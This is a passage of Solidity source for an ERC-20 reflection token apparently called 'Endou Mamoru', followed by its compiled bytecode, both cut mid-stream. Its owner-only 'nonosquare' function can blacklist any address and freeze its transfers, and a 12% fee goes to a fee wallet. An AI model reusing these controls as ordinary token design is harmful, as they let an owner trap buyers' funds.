"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 12; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 12; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(10).div(1000); _maxWalletSize = _tTotal.mul(25).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e2b565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612932565b6104b4565b60405161018e9190612e10565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612972565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128df565b61060c565b60405161021f9190612e10565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612845565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613042565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a15565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612845565b6109db565b6040516103199190612fcd565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d42565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e2b565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612932565b610c9a565b6040516103da9190612e10565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a15565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289f565b6113c3565b60405161046e9190612fcd565b60405180910390f35b60606040518060400160405280600c81526020017f456e646f75204d616d6f72750000000000000000000000000000000000000000815250905090565b60006104c86104c161144a565b8484611452565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0d565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b61338a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e3565b91505061057a565b5050565b600061061984848461161d565b6106da8461062561144a565b6106d58560405180606001604052806028815260200161374960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b61144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb09092919063ffffffff16565b611452565b600190509392505050565b6106ed61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e661144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0d565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b61089861144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0d565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa61144a565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd9565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e45565b9050919050565b610a3461144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b8761144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0d565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f454e444f55000000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca761144a565b848461161d565b6001905092915050565b610cc061144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0d565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd261144a565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb3565b50565b610e1361144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0d565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611452565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612872565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612872565b6040518363ffffffff1660e01b81526004016110b4929190612d5d565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612872565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612daf565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a42565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112776103e8611269600a670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f819055506112ad6103e861129f6019670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136d929190612d86565b602060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf91906129e8565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612ead565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116109190612fcd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490612f4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490612e4d565b60405180910390fd5b60008111611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173790612f2d565b60405180910390fd5b6000600a81905550600c600b81905550611758610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c65750611796610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119235750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119795750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119915750600e60179054906101000a900460ff165b15611acf57600f548111156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d290612e6d565b60405180910390fd5b601054816119e8846109db565b6119f29190613103565b1115611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90612f6d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7e57600080fd5b601e42611a8b9190613103565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b7a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be6576000600a81905550600c600b819055505b6000611bf1306109db565b9050600e60159054906101000a900460ff16158015611c5e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c765750600e60169054906101000a900460ff165b15611c9e57611c8481611eb3565b60004790506000811115611c9c57611c9b47611dd9565b5b505b505b611cab83838361213b565b505050565b6000838311158290611cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cef9190612e2b565b60405180910390fd5b5060008385611d0791906131e4565b9050809150509392505050565b600080831415611d275760009050611d89565b60008284611d35919061318a565b9050828482611d449190613159565b14611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b90612eed565b60405180910390fd5b809150505b92915050565b6000611dd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061214b565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e41573d6000803e3d6000fd5b5050565b6000600854821115611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8390612e8d565b60405180910390fd5b6000611e966121ae565b9050611eab8184611d8f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eeb57611eea6133b9565b5b604051908082528060200260200182016040528015611f195781602001602082028036833780820191505090505b5090503081600081518110611f3157611f3061338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd357600080fd5b505afa158015611fe7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061200b9190612872565b8160018151811061201f5761201e61338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611452565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120ea959493929190612fe8565b600060405180830381600087803b15801561210457600080fd5b505af1158015612118573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121468383836121d9565b505050565b60008083118290612192576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121899190612e2b565b60405180910390fd5b50600083856121a19190613159565b9050809150509392505050565b60008060006121bb6123a4565b915091506121d28183611d8f90919063ffffffff16565b9250505090565b6000806000806000806121eb87612403565b95509550955095509550955061224986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122de85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232a81612513565b61233484836125d0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123919190612fcd565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a764000090506123d8670de0b6b3a7640000600854611d8f90919063ffffffff16565b8210156123f657600854670de0b6b3a76400009350935050506123ff565b81819350935050505b9091565b60008060008060008060008060006124208a600a54600b5461260a565b92509250925060006124306121ae565b905060008060006124438e8787876126a0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb0565b905092915050565b60008082846124c49190613103565b905083811015612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090612ecd565b60405180910390fd5b8091505092915050565b600061251d6121ae565b905060006125348284611d1490919063ffffffff16565b905061258881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e58260085461246b90919063ffffffff16565b600881905550612600816009546124b590919063ffffffff16565b6009819055505050565b6000806000806126366064612628888a611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126606064612652888b611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126898261267b858c61246b90919063ffffffff16565b61246b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b98589611d1490919063ffffffff16565b905060006126d08689611d1490919063ffffffff16565b905060006126e78789611d1490919063ffffffff16565b9050600061271082612702858761246b90919063ffffffff16565b61246b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273c61273784613082565b61305d565b9050808382526020820190508285602086028201111561275f5761275e6133ed565b5b60005b8581101561278f57816127758882612799565b845260208401935060208301925050600181019050612762565b5050509392505050565b6000813590506127a881613703565b92915050565b6000815190506127bd81613703565b92915050565b600082601f8301126127d8576127d76133e8565b5b81356127e8848260208601612729565b91505092915050565b6000813590506128008161371a565b92915050565b6000815190506128158161371a565b92915050565b60008135905061282a81613731565b92915050565b60008151905061283f81613731565b92915050565b60006020828403121561285b5761285a6133f7565b5b600061286984828501612799565b91505092915050565b600060208284031215612888576128876133f7565b5b6000612896848285016127ae565b91505092915050565b600080604083850312156128b6576128b56133f7565b5b60006128c485828601612799565b92505060206128d585828601612799565b9150509250929050565b6000806000606084860312156128f8576128f76133f7565b5b600061290686828701612799565b935050602061291786828701612799565b92505060406129288682870161281b565b9150509250925092565b60008060408385031215612949576129486133f7565b5b600061295785828601612799565b92505060206129688582860161281b565b9150509250929050565b600060208284031215612988576129876133f7565b5b600082013567ffffffffffffffff8111156129a6576129a56133f2565b5b6129b2848285016127c3565b91505092915050565b6000602082840312156129d1576129d06133f7565b5b60006129df848285016127f1565b91505092915050565b6000602082840312156129fe576129fd6133f7565b5b6000612a0c84828501612806565b91505092915050565b600060208284031215612a2b57612a2a6133f7565b5b6000612a398482850161281b565b91505092915050565b600080600060608486031215612a5b57612a5a6133f7565b5b6000612a6986828701612830565b9350506020612a7a86828701612830565b9250506040612a8b86828701612830565b9150509250925092565b6000612aa18383612aad565b60208301905092915050565b612ab681613218565b82525050565b612ac581613218565b82525050565b6000612ad6826130be565b612ae081856130e1565b9350612aeb836130ae565b8060005b83811015612b1c578151612b038882612a95565b9750612b0e836130d4565b925050600181019050612aef565b5085935050505092915050565b612b328161322a565b82525050565b612b418161326d565b82525050565b6000612b52826130c9565b612b5c81856130f2565b9350612b6c81856020860161327f565b612b75816133fc565b840191505092915050565b6000612b8d6023836130f2565b9150612b988261340d565b604082019050919050565b6000612bb06019836130f2565b9150612bbb8261345c565b602082019050919050565b6000612bd3602a836130f2565b9150612bde82613485565b604082019050919050565b6000612bf66022836130f2565b9150612c01826134d4565b604082019050919050565b6000612c19601b836130f2565b9150612c2482613523565b602082019050919050565b6000612c3c6021836130f2565b9150612c478261354c565b604082019050919050565b6000612c5f6020836130f2565b9150612c6a8261359b565b602082019050919050565b6000612c826029836130f2565b9150612c8d826135c4565b604082019050919050565b6000612ca56025836130f2565b9150612cb082613613565b604082019050919050565b6000612cc8601a836130f2565b9150612cd382613662565b602082019050919050565b6000612ceb6024836130f2565b9150612cf68261368b565b604082019050919050565b6000612d0e6017836130f2565b9150612d19826136da565b602082019050919050565b612d2d81613256565b82525050565b612d3c81613260565b82525050565b6000602082019050612d576000830184612abc565b92915050565b6000604082019050612d726000830185612abc565b612d7f6020830184612abc565b9392505050565b6000604082019050612d9b6000830185612abc565b612da86020830184612d24565b9392505050565b600060c082019050612dc46000830189612abc565b612dd16020830188612d24565b612dde6040830187612b38565b612deb6060830186612b38565b612df86080830185612abc565b612e0560a0830184612d24565b979650505050505050565b6000602082019050612e256000830184612b29565b92915050565b60006020820190508181036000830152612e458184612b47565b905092915050565b60006020820190508181036000830152612e6681612b80565b9050919050565b60006020820190508181036000830152612e8681612ba3565b9050919050565b60006020820190508181036000830152612ea681612bc6565b9050919050565b60006020820190508181036000830152612ec681612be9565b9050919050565b60006020820190508181036000830152612ee681612c0c565b9050919050565b60006020820190508181036000830152612f0681612c2f565b9050919050565b60006020820190508181036000830152612f2681612c52565b9050919050565b60006020820190508181036000830152612f4681612c75565b9050919050565b60006020820190508181036000830152612f6681612c98565b9050919050565b60006020820190508181036000830152612f8681612cbb565b9050919050565b60006020820190508181036000830152612fa681612cde565b9050919050565b60006020820190508181036000830152612fc681612d01565b9050919050565b6000602082019050612fe26000830184612d24565b92915050565b600060a082019050612ffd6000830188612d24565b61300a6020830187612b38565b818103604083015261301c8186612acb565b905061302b6060830185612abc565b6130386080830184612d24565b9695505050505050565b60006020820190506130576000830184612d33565b92915050565b6000613067613078565b905061307382826132b2565b919050565b6000604051905090565b600067ffffffffffffffff82111561309d5761309c6133b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310e82613256565b915061311983613256565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314e5761314d61332c565b5b828201905092915050565b600061316482613256565b915061316f83613256565b92508261317f5761317e61335b565b5b828204905092915050565b600061319582613256565b91506131a083613256565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d9576131d861332c565b5b828202905092915050565b60006131ef82613256565b91506131fa83613256565b92508282101561320d5761320c61332c565b5b828203905092915050565b600061322382613236565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327882613256565b9050919050565b60005b8381101561329d578082015181840152602081019050613282565b838111156132ac576000848401525b50505050565b6132bb826133fc565b810181811067ffffffffffffffff821117156132da576132d96133b9565b5b80604052505050565b60006132ee82613256565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133215761332061332c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45